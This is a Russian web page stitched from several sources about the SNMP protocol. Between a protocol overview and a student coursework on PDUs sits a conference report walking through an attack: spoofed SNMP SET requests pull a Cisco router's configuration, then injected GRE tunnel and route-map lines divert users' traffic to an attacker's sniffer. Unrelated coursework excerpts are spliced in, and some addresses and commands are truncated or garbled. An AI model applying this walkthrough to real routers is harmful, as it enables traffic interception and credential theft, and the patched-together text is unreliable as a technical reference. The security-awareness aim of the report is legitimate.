Уязвимые места в SNMP. Протокол snmp Протокол snmp методы сетевых атак и защиты

SNMP - это протокол прикладного уровня, разработанный для стека TCP/IP, хотя имеются его реализации и для других стеков, например IPX/SPX. Протокол SNMP используется для получения от сетевых устройств информации об их статусе, производительности и других характеристиках, которые хранятся в базе данных управляющей информации MIB (Management Information Base). Простота SNMP во многом определяется простотой MIB SNMP, особенно их первых версий MIB I и MIB II. Кроме того, сам протокол SNMP также весьма несложен.

Агент в протоколе SNMP - это обрабатывающий элемент, который обеспечивает менеджерам, размещенным на управляющих станциях сети, доступ к значениям переменных MIB и тем самым дает им возможность реализовывать функции по управлению и наблюдению за устройством.

Основные операции по управлению вынесены в менеджер, а агент SNMP выполняет чаще всего пассивную роль, передавая в менеджер по его запросу значения накопленных статистических переменных. При этом устройство работает с минимальными издержками на поддержание управляющего протокола. Оно использует почти всю свою вычислительную мощность для выполнения своих основных функций маршрутизатора, моста или концентратора, а агент занимается сбором статис­тики и значений переменных состояния устройства и передачей их менеджеру системы управления.

SNMP - это протокол типа «запрос-ответ» , то есть на каждый запрос, поступивший от менеджера, агент должен передать ответ. Особенностью протокола являет­ся его чрезвычайная простота - он включает в себя всего несколько команд.

    Команда Get-request используется менеджером для получения от агента значения какого-либо объекта по его имени.

    Команда GetNext-request используется менеджером для извлечения значения следующего объекта (без указания его имени) при последовательном просмотре таблицы объектов.

    С помощью команды Get-response агент SNMP передает менеджеру ответ на команды Get-request или GetNext-request.

    Команда Set используется менеджером для изменения значения какого-либо объекта. С помощью команды Set происходит собственно управление устройством. Агент должен понимать смысл значений объекта, который используется для управления устройством, и на основании этих значений выполнять реальное управляющее воздействие - отключить порт, приписать порт определенной VLAN и т. п. Команда Set пригодна также для установки условия, при выполнении которого агент SNMP должен послать менеджеру соответствующее сообщение. Может быть определена реакция на такие события, как инициализация агента, рестарт агента, обрыв связи, восстановление связи, неверная аутентификация и потеря ближайшего маршрутизатора. Если происходит любое из этих событий, то агент инициализирует прерывание.

    Команда Trap используется агентом для сообщения менеджеру о возникновении особой ситуации.

    Версия SNMP v.2 добавляет к этому набору команду GetBulk, которая позволяет менеджеру получить несколько значений переменных за один запрос.

Информационная безопасность - 2006

Доклад

SNMP - удобный протокол

или угроза для корпоративной сети

- Предыстория SNMP

Протокол SNMP (Simple Network Management Protocol) предоставляет методы управления сетевыми ресурсами.

История SNMP (Simple Network Management Protocol) протокола начинается со своего предшественника SGMP (Simple Gateway Monitoring Protocol), который был определён в RFC 1028 в 1987 году. SGMP был разработан как временное решение к сетевому управлению.

Стандарт SGMP определил основную модель дизайна, используемого в SNMP, описывая SGMP протокол только в терминах поиска и/или изменений переменных, сохранённых на router-e. Данный стандарт также выделяется небольшим числом операций, которые всё ещё являются основанием для операций SNMP на сегодняшний день.

Первая версия SNMP структуры, SNMPv1, была определена в RFC 1067 (позже пересмотрена в RFC 1098 и 1157) в 1993 году.

Новая SNMPv2 спецификация была выпущена в 1996 году и включала в себя доработки, такие как: механизм блокировки, 64-битные счетчики, улучшенное сообщение ошибки.

Самое последнее дополнение к протоколу – SNMPv3 – определённый в 1999 году. В основном это тот же SNMPv2, но с доработками с точки зрения безопасности, таких как: Security Model (модель защиты) и Access Control Model (модель управления доступом).


- Эффективный контроль над сетью

SNMP может использоваться для управления любой системы, подключенной к Интернету

Затраты на внедрение SNMP – минимальны

Определяя новые «Управляемые Объекты» (MIBs), возможности управления могут быть расширены легко

SNMP довольно устойчив; даже в случае отказов в работе, менеджер может продолжать работать (хотя может понадобиться немного больше усилия)

В настоящее время производители устройств передачи данных включают SNMP по умолчанию. Данный протокол стал наиболее важным стандартом для сетевого управления.

- Разве SNMP это угроза?

В зависимости от версии SNMP стандарта и правильности настройки оборудования, данный протокол можно использовать во многих отраслях хакинга, от мелкого хулиганства до эффективного промышленного шпионажа .

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть оборудование Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки 1.

Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes

enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA. YX0

interface Ethernet0/0

interface Ethernet0/1

ip address 192.168.0

network 192.168.1.0

ip nat inside source list 102 interface Ethernet0/0 overload

no ip http server

access-list 1 permit 192.168.

access-list 102 permit ip any any

snmp-server community public RO

snmp-server community private RW 1

snmp-server enable traps tty

logging synchronous

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC10) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета.


root@whax# ./copy-router-config. pl

######################################################

# Copy Cisco Router config - Using SNMP

# Hacked up by muts - *****@***co. il

#######################################################

Usage: ./cisco-copy-config. pl

Make sure a TFTP server is set up, preferably running from /tmp!

После выполнения скрипта будет перехвачен SNMP пакет. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.


Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов).

Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого router-a по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

    Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера. Определить, какой трафик будет проходить через туннель. Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора:

interface tunnel0

ip address 192.168.10

tunnel source Ethernet0/0

tunnel destination

tunnel mode gre ip

Они означают следующее:

    Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x. Для обмена данными оба конца туннеля должны находиться в одной подсети. Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?) Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера. Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

access-list 101 permit tcp any any eq 443

access-list 101 permit tcp any any eq 80

access-list 101 permit tcp any any eq 21

access-list 101 permit tcp any any eq 20

access-list 101 permit tcp any any eq 23

access-list 101 permit tcp any any eq 25

access-list 101 permit tcp any any eq 110

Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

router-map divert-traffic

match ip address 101

set ip next-hop 192.168.10.2

interface Ethernet0/0

ip policy route-map divert-traffic

    Мы создали правило доступа, разрешающее все типы трафика. Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер). Созданное правило доступа используется в качестве условия соответствия. В качестве next-hop адреса мы указали IP адрес атакующего (sniffer). Мы применили карту маршрутизации к интерфейсу tunnel0.

Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out

Attacker(config-route-map)# match ip address 101

Attacker(config-route-map)# set ip next-hop 192.168.10.1

Attacker(config-route-map)# exit

Attacker(config)# interface ethernet0/0

Attacker(config-if)# ip policy route-map divert-out

Эти дополнительные настройки означают следующее:

    После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор. Мы применили карту маршрутизации к Ethernet интерфейсу.

Начинаем атаку

После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel

-> 212.199.145.242, tos=0x0

*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos=0x0g all

В результате этих действий, Ethereal на компьютере атакующего получит следующие пакеты:

https://pandia.ru/text/78/194/images/image006_20.jpg" width="624" height="468">

Через несколько часов, мы получаем данные сканирования:

Полученные данные содержат следующего типа информацию:

- SysName - можно узнать адрес, № телефона абонента

- Agent IP Address -

- DNS -

- Response Time -

- Vendor -

- System Description - можно использовать в качестве дополнительной полезной информации при атаках

- Community - snmp- community с помощью которой мы извлекли информацию

- Location - можно узнать адрес, № телефона абонента

- Contact - можно узнать имя, кличку администратора

- Last Boot Time -

- Interfaces - чем больше, тем интерестнее

- Discovery Status -

Из полученных данных используем IP адреса и программу Real-time Network Monitor, для того чтобы узнать какую полезную информацию можно получить при дополнительных запросах SNMP.

Также вполне реально получить полный доступ к аппарату просто заменив имя snmp-community с public на private. Тем самым у нас появляется возможность посылать различные snmp команды.

Результат атаки:

После данного эксперимента мы узнали что:

Не используется даже простейший метод защиты – access-list-ы

С легкостью можно узнать число клиентов провайдера

Конфиденциальную информацию клиентов провайдера

Экономический потенциал провайдера

Полезную информацию, которую можно использовать при различных атаках

- легко можно собирать статистику провайдера и его корпоративных клиентов, при дальнейшем её использовании в определённых целях

- Можно ли предотвратить атаку? Методы защиты

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

Методы защиты предельно просты. Они полностью зависят от администраторов сетей:

Не оставлять настройки оборудования по умолчанию (by default)

Правильно продумать схему использования протокола

Определять сложные имена snmp-community

Использовать access-list-ы

Указывать одиночные IP адреса в access-list-ах, а не IP ranges (IP диапазоны)

- Заключение

Целью работы было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco/ZyXel небезопасно. Грамотная конфигурация должна свести к минимуму шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций сетевого оборудования.

ВВЕДЕНИЕ 3

1. ТЕОРЕТИЧЕСКОЕ ОБОСНОВАНИЕ ПРОБЛЕМЫ ИССЛЕДОВАНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP

1.1 НЕОБХОДИМОСТЬ ИЗУЧЕНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP 5

1.2 ПРОТОКОЛ SNMP: ОПИСАНИЕ, ПРЕДНАЗНАЧЕНИЕ 7

2. АНАЛИЗ АТАК НА ПРОТОКОЛ SNMP И СПОСОБОВ ПРОТИВОДЕЙСТВИЯ

2.1 ТЕХНИКИ АТАК НА ПРОТОКОЛ SNMP И СПОСОБЫ ИХ ПРЕДОТВРАЩЕНИЯ 11

2.2 СПОСОБЫ ПРОТИВОДЕЙСТВИЯ АТАКАМ НА ПРОТОКОЛ SNMP 15

ЗАКЛЮЧЕНИЕ 20

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 21

Выдержка из текста

Вопросам построения системы защиты от атак на протокол SNMPпосвящены вопросы многих авторов, но единого мнения по поводу целесообразности использования SNMP в виду сложности обеспечения безопасности нет. Обосновать необходимость изучения методов атак на протокол SNMP и способов их предотвращения. Предмет исследования — методы сетевых атак на протокол SNMP и способы их предотвращения.

Как правило, сетевое планирование используется при составлении стратегических планов и долгосрочных комплексов различных видов деятельности предприятия (проектной, плановой, организационной и др.) Основным плановым документом в этой системе является сетевой график, или просто сеть, представляющий информационно-динамическую модель, в которой отражаются все логические взаимосвязи и результаты выполняемых работ, необходимых для достижения конечной цели стратегического планирования. Методы сетевого моделирования относятся к методам принятия оптимальных решений, что оправдывает рассмотрение этого типа моделей в данной курсовой работе.

В случае, если активность юзера никак не совпадают с установленными правилами, то устройство обнаружения идентифицирует потенциальные атаки. В базе большинства систем обнаружения злоупотреблений и аномалий заложена модель, предложенная Деннингом.

DoS-атака (от англ. Denial of Service, отказ в обслуживании) — атака на вычислительную систему с целью вывести её из строя, то есть создание таких условий, при которых легитимные (правомерные) пользователи системы не могут получить доступ к предоставляемым системой ресурсам, либо этот доступ затруднён. Отказ «вражеской» системы может быть как самоцелью (например, сделать недоступным популярный сайт), так и одним из шагов к овладению системой (если во внештатной ситуации ПО выдаёт какую-либо критическую информацию — например, версию, часть программного кода и т. д.).

января 2007 года вступил в силу Федеральный закон «О персональных данных» № 152-ФЗ, регулирующий отношения, связанные с обработкой персональных данных (далее — ПДн), и устанавливающий требования к защите таких данных .

выпускной квалификационной работе (далее — ВКР) ставится цель — защитить корпоративную сеть на предприятии ООО «СЦСО Надежда» от несанкционированного доступа на базе сертифицированных программно-аппаратных продуктов удовлетворяющих требованием регуляторов ФСТЭК и ФСБ в области защите информации. Так как в настоящее время корпоративная сеть данного предприятия не отвечает требованием ФЗ №

2. января 2007 года руководство рассматриваемой компании приняло решение организовать защиту информационной системы в соответствии с принятыми законодательными требованиями .

Организации, до подключения к сети Интернет не сталкивавшиеся с вопросами защиты информации, часто оказываются полностью неподготовленными к изменившейся ситуации. Одним из решений проблем безопасности подключения к сети Интернет является применение межсетевых экранов (бранмауэров, фаерволов).

Межсетевой экран — программно-аппаратная система, находящаяся в точке соединения внутренней сети организации и Интернет и осуществляющая контроль передачи данных между сетями. Однако наличие брандмауэров уже не гарантирует сохранность данных, так как появились техники взлома подобных систем.

Каждый руководитель обязан осознавать степень важности защиты корпоративной сети от несанкционированного проникновения. Все компании связываются с другими локальными вычислительными сетями с помощью глобальной сети — Интернет, в силу того, что создание отдельных каналов связи крайне трудоемкий и затратный процесс, и подобное могут себе позволить лишь крупнейшие организации. В связи с этим, прорыв защиты сети может осуществляться не только со стороны собственных сотрудников организации, но, также, из внешней среды, со стороны организаций конкурентов и отдельных лиц.

Практическая значимость работы заключается в возможности широкого применения учебного комплекса для подготовки кадров в области сетевых технологий и защиты информации.

Практическая значимость работы состоит в разработке программы контроля открытых портов, применение которой позволит осуществлять мониторинг и контроль потенциального доступа к различным приложениям операционной системы.

В рамках проводимого исследования использовалась литература в двух основных направлениях. Во-первых, основные принципы и общая методология построения систем информационной безопасности приведены в работах В.В. Гафнера, Т.В. Ершовой, Ю.Е. Хохлова, С.Б. Шапошника, В. П. Мельникова, С. А. Клейменова, А. М. Петракова, С.Т. Папаева, И.В. Бабайцев, а Н.В. Козака и др. Во-вторых, критерии систем защиты информации, в частности персональных данных и пр. обозначены в трудах Н.И. Петрыкиной, В. А. Семененко, А. Ф. Чипиги, В.Ф. Шаньгина и др. При этом обширный потенциал и недостаточность научных разработок в исследуемой сфере подчеркивается в научных трудах И.В. Машкиной, К.А. Шапченко, Ю.М. Шубина, Д.А. Щелкунова и др. Содержание обозначенных и других работ, используемых в проведенном исследовании обозначает многостороннюю, но недостаточно изученную сферу системной защиты информации в ДОУ.

Кроме встроенных механизмов ОС, для защиты от взлома и воздействия на программный код могут быть применены различные приемы при разработке приложений, например, обфускация или шифрование кода, использование отладчиков и упаковщиков.

Мир переживает период качественного изменения терроризма. Из индивидуального (например, терроризма эсеров в последний период существования Российской Империи) терроризм трансформировался в массовый: главным объектом террора стала не только властная элита, но и все общество; основными средствами устрашения стали убийства не конкретных людей, а неопределенного, как можно более широкого, круга лиц. Именно поэтому сегодня терроризм касается каждого: например, любой человек может оказаться в метро или магазине во время взрыва. Поэтому тема данной работы, бесспорно, актуальна.

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ

Нормативно-правовые акты

1. Федеральный закон Российской Федерации от

Список специализированной и научной литературы

2. Бланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.

3. Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13- 14 февраля 2013 г.).

— В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. — Орел: Академия ФСО России, 2013.

4. Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,

5. Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт — М.:Символ-Плюс, 2012.-725с.

6. Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.

7. Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. — 91 c.

8. Олифер В. Г., Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. — 4-е. — СПб: Питер, 2010. — 902с.

9. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. — М.: Изд-во МГТУ им. Н.Э. Баумана, 2013. — 389с.

10. Фленов М. Linux глазами Хакера, СПб: BHV-Санкт-Петербург, 2005. — 544 с.

11. Хореев П.В. Методы и средства защиты информации в компьютерных системах. — М.: издательский центр «Академия», 2005. — 205 с.

12. Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. — 504с.

Интернет-источники

13. IDS/IPS — Системы обнаружения и предотвращения вторжений [Электронный ресурс]

14. Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс].

15. Колищак А. Уязвимость форматной строки [Электронный ресурс].

16. Первая миля, № 04, 2013 [Электронный ресурс].

Описание работы

Особенно остро встает вопрос о надежности и максимальной эффективности функционирования вычислительных сетей. Огромные убытки от сетевых неполадок, приводящих к потере данных, резкому падению производительности, блокировке серверов и другим неприятностям, несут банки, финансовые, транспортные и телекоммуникационные компании. Следовательно, особую актуальность приобретает проблема управления сетью.
Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

ВВЕДЕНИЕ……………………………………………………………………..3


1.2 Логика работы протокола SNMP……………………………………..….12


2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21
2.2 Принципы настройки протокола SNMP…………………………………23
ЗАКЛЮЧЕНИЕ…………………………………………………………….....26
СПИСОК ЛИТЕРАТУРЫ……………………..…………………………...…27

Файлы: 1 файл

Министерство образования и науки РФ

ФГБОУ ВПО «Челябинский государственный университет»

Институт информационных технологий

Кафедра информационных технологий

КУРСОВАЯ РАБОТА

Протокол SNMP. Методы сетевых атак и защиты


Выполнила студентка

Галиуллина Оксана Кунтуаровна

Факультет ИИТ, группа БИС-201

Научный руководитель:

Косенко Максим Юрьевич

Преподаватель кафедры

информационных технологий

Дата сдачи:_______________

Дата защиты:_____________

Оценка:__________________

Челябинск

ВВЕДЕНИЕ………………………………………………………… …………..3

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP…………...………………………………5

1.1 Архитектура протокола SNMP…………………………………………….6

1.2 Логика работы протокола SNMP……………………………………..….12

ГЛАВА II. MIB……………………………………………………………….16

ГЛАВА III. БЕЗОПАСНОСТЬ И НАСТРОЙКА SNMP……………..…….21

2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21

2.2 Принципы настройки протокола SNMP…………………………………23

ЗАКЛЮЧЕНИЕ…………………………………………………… ……….....26

СПИСОК ЛИТЕРАТУРЫ……………………..………………………… ...…27

ВВЕДЕНИЕ

Деятельность современных организаций тесно связана с использованием информационных технологий, будь то компьютер на рабочем месте менеджера мелкой фирмы или корпоративная сеть крупной компании - системного интегратора. И чем больше организация и чем важнее ее функции, тем выше требования к компьютерным системам, обеспечивающим выполнение этих функций, и тем дороже цена каждого сбоя в работе. Эффективность деятельности компании становится все более и более зависимой от качества работы ее компьютерного и телекоммуникационного оборудования.

Особенно остро встает вопрос о надежности и максимальной эффективности функционирования вычислительных сетей. Огромные убытки от сетевых неполадок, приводящих к потере данных, резкому падению производительности, блокировке серверов и другим неприятностям, несут банки, финансовые, транспортные и телекоммуникационные компании. Следовательно, особую актуальность приобретает проблема управления сетью.

Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

В настоящее время для управления сетями используются приложения, работающие на базе платформ сетевого управления, таких как системы HP OpenView фирмы Hewlett-Packard, NetView for AIX (IBM), SunNet Manager (Sun), Spectrum (Cabletron Systems), NetWare Management Systems (Novell) и другие разнообразные кросс-платформные средства управления.

В основе этих средств лежит использование протокола SNMP (Simple Network Management Protocol). Протокол SNMP предназначен для сбора и передачи служебной информации (status information) между различными компьютерами.

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP

SNMP - это протокол из семейства TCP/IP (Протокол SNMP описан в RFC 1157). Первоначально он был разработан Сообществом Интернета (Internet community) для наблюдения и устранения неполадок в маршрутизаторах и мостах (bridges). SNMP позволяет наблюдать и передавать информацию о состоянии:

  • компьютеров, работающих под управлением Windows NT;
  • серверов LAN Manager;
  • маршрутизаторов и шлюзов;
  • мини-компьютеров или мэйнфреймов;
  • терминальных серверов;
  • концентраторов.

SNMP использует распределенную архитектуру, состоящую из систем управления (management systems) и агентов (agents). С помощью сервиса Microsoft SNMP компьютер, работающий под управлением Windows NT, может выдавать отчет о своем состоянии системе управления SNMP в сети, использующей протокол TCP/IP.

Сервис SNMP посылает информацию о состоянии одному или нескольким компьютерам по запросу или в случае, когда происходит важное событие, например компьютеру не хватает места на жестком диске.

1.1 Архитектура протокола SNMP

Сеть, использующая SNMP, для управления содержит три основных компонента:

  1. SNMP менеджер - ПО, устанавливаемое на ПК администратора (системы мониторинга)
  2. SNMP агент - ПО, запущенное на сетевом узле, за которым осуществляется мониторинг.
  3. SNMP MIB - MIB это Management information base. Этот компонент системы обеспечивает структурированность данных, которыми обмениваются агенты и менеджеры. По сути - это некая база данных в виде текстовых фалов.

SNMP менеджер и SNMP агент

Для понимания назначения компонентов, можно сказать, что SNMP менеджер является прослойкой (интерфейсом) между оператором - администратором и сетевым узлом с запущенным SNMP агентом. Так же, можно сказать, что SNMP агент - это интерфейс между SNMP менеджером и железным оборудованием на сетевом узле. Если провести аналогию протокола SNMP с клиент-серверной архитектурой (например, веб-сервера) то веб-сервер работает как служба на некотором порту, а пользователь силами браузера обращается к веб-серверу как клиент. Это четко обозначенная архитектура с выраженным клиентом и сервером. В случае SNMP роли клиента и сервера несколько размыты. Например, SNMP агент является своего рода службой, работающей на устройстве (за которым производится мониторинг) и обрабатывает запросы на определенном порту udp/161, то есть фактически является сервером. А SNMP менеджер является своего рода клиентом, который обращается к серверу SNMP агенту. В SNMP существует т.н. Trap. Это запрос от агента к менеджеру. Точнее даже не запрос, а уведомление. При отправке данного уведомления, агент и менеджер "меняются ролями". То есть, менеджер в таком случае должен являться сервером, работающем на порту udp/162, а агент является клиентом. В последних версиях SNMP trap может именоваться как извещение (notification).

SNMP работает на 7 уровне модели OSI, то есть является службой прикладного уровня. Взаимодействие агента и менеджера на уровне протокола SNMP организуется посредством т.н. пакетов объектов PDU (Protocol Data Unit), которые инкапсулируются в транспортный протокол. Хотя, SNMP поддерживает различные виды транспорта, в 99% случаев используется - UDP. При этом, каждое сообщение PDU содержит определенную команду (на чтение переменной, запись значения переменной, или ответ trap агента). В целом, взаимодействие узлов по SNMP можно представить следующей последовательностью: менеджер->SNMP(PDU)-UDP-IP- Ethernet-IP-UDP-SNMP(PDU)-> агент.

При использовании шифрования в SNMP, по умолчанию используются порт для запросов\ответов udp/10161, а Trap отправляются на udp/10162.

Агенты, работающие на хостах, собирают информацию об устройствах и записывают собранные счетчики в значения переменных в базу данных MIB. Тем самым делая ее доступной для менеджеров.

Рис. 1. Схема взаимодействия SNMP-агент - SNMP-менеджер

SNMP менеджер отправляет запросы агенту на порт udp/161 (если конфигурационно в агенте не задан другой порт) с произвольного порта из эфемерного диапазона. В запросе SNMP менеджера указывается порт и адрес источника. Далее агент принимает пакет и обрабатывает (если выполняются нижеописанные условия). В процессе обработки, формируется ответ, который отправляется на порт, взятый из исходного запроса. Ответ отправляется с udp/161 порта. Можно сказать, что SNMP агент, таким образом, предоставляет доступ SNMP менеджеру к данным, хранящимся в базе MIB. При этом, в момент отправки, SNMP менеджер вставляет в PDU некий ID (RequestID), а агент в ответном PDU вставляет данный ID без изменения, для того чтобы менеджер не путал пакеты от разных агентов. SNMP агент может быть настроен на посылку Trap уведомлений, которую он выполняет с эфемерного порта на udp/162 порт SNMP менеджера.

SNMP PDU (или сообщения SNMP протокола)

Выше я упомянула о единице обмена между узлами SNMP - PDU (Protocol Data Unit), давайте разберем данное понятие. Для обмена между агентом и менеджером используется определенный набор сообщений PDU команд:

  • Trap - одностороннее уведомление от SNMP агента –> менеджеру о каком-либо событии.
  • GetReponse - ответ от агента к менеджеру, возвращающий запрошенные значения переменных.
  • GetRequest - запрос к агенту от менеджера, используемый для получения значения одной или нескольких переменных.
  • GetNextRequest - запрос к агенту от менеджера, используемый для получения следующего в иерархии значения переменной.
  • SetRequest - запрос к агенту на установку значения одной или нескольких переменных.
  • GetBulkRequest – запрос к агенту на получение массива данных (тюнингованная GetNextRequest) . (Этот PDU был введен в SNMPv2.)
  • InformRequest – одностороннее уведомление между менеджерами. Может использоваться, например для обмена информацией о MIB (соответствие символьных OID - цифровым). В ответ менеджер формирует аналогичный пакет в подтверждение того, что исходные данные получены. (Этот PDU был введен в SNMPv2.)

Как видно, в зависимости от версии протокола, набор команд разный (например InformRequest и GetB ulkRequestполноценно появился только во второй версии SNMP).

Структура PDU

Рассмотрение структуры PDU не обязательно, но это поможет более глубоко понять логику работы SNMP. Все PDU (кроме Trap) состоят из определенного набора полей, в которые записывается необходимая информация:

Рис. 2. Формат пяти SNMP сообщений, инкапсулированных в UDP датаграмму

Что данные поля обозначают:

  • Версия - содержит версию SNMP;
  • Пароль (community) - содержит последовательность символов, описывающую принадлежность к группе;
  • Тип PDU имеет цифровой идентификатор запроса (Get, GetNext, Set, Responde, Trap…);
  • Идентификатор запроса – это тот самый набор символов, который связывает в единое целое запрос/ответ;
  • Статус ошибки – это число, характеризующее характер ошибки:
    • Для запросов (Get, Set, GetNExt и др.) - 0
    • Для ответов:
      • 0 (NoError) – Нет ошибок;
      • 1 (TooBig) - Объект не вмещается в одно Response сообщение;
      • 2 (NoSuchName) – не существующая переменная;
      • 3 (BadValue) – при попытке установить значение задано недопустимое значение или совершена синтаксическая ошибка;
      • 4 (ReadOnly) – при Set запросе была попытка изменить read-only переменную;
      • 5 (GenErr) – другие ошибки.
  • Индекс ошибки – содержит некий индекс переменной, к которой относится ошибка;
  • Поле связанные переменные может содержать одну или более переменную (для запросов Get – это только имя переменных, для Set – имя и устанавливаемое значение, для Response – имя и запрошенное значение).

При этом, содержимое Trap PDU содержит некоторые дополнительные поля (вместо заголовка запроса):

  • Фирма – характеризующее производителя хоста;
  • Тип trap уведомления, может быть следующим:
    • 0 (Coldstart) и 1 (Warmstart) – объект возвращен в начальное состояние (между ними имеется некая разница, но какая?..);
    • 2 (Linkdown) – интерфейс опущен, при этом, поле переменной содержит интерфейс, о котором идет речь;
    • 3 (Linkup) – интерфейс поднялся, при этом, поле переменной содержит интерфейс о котором идет речь;
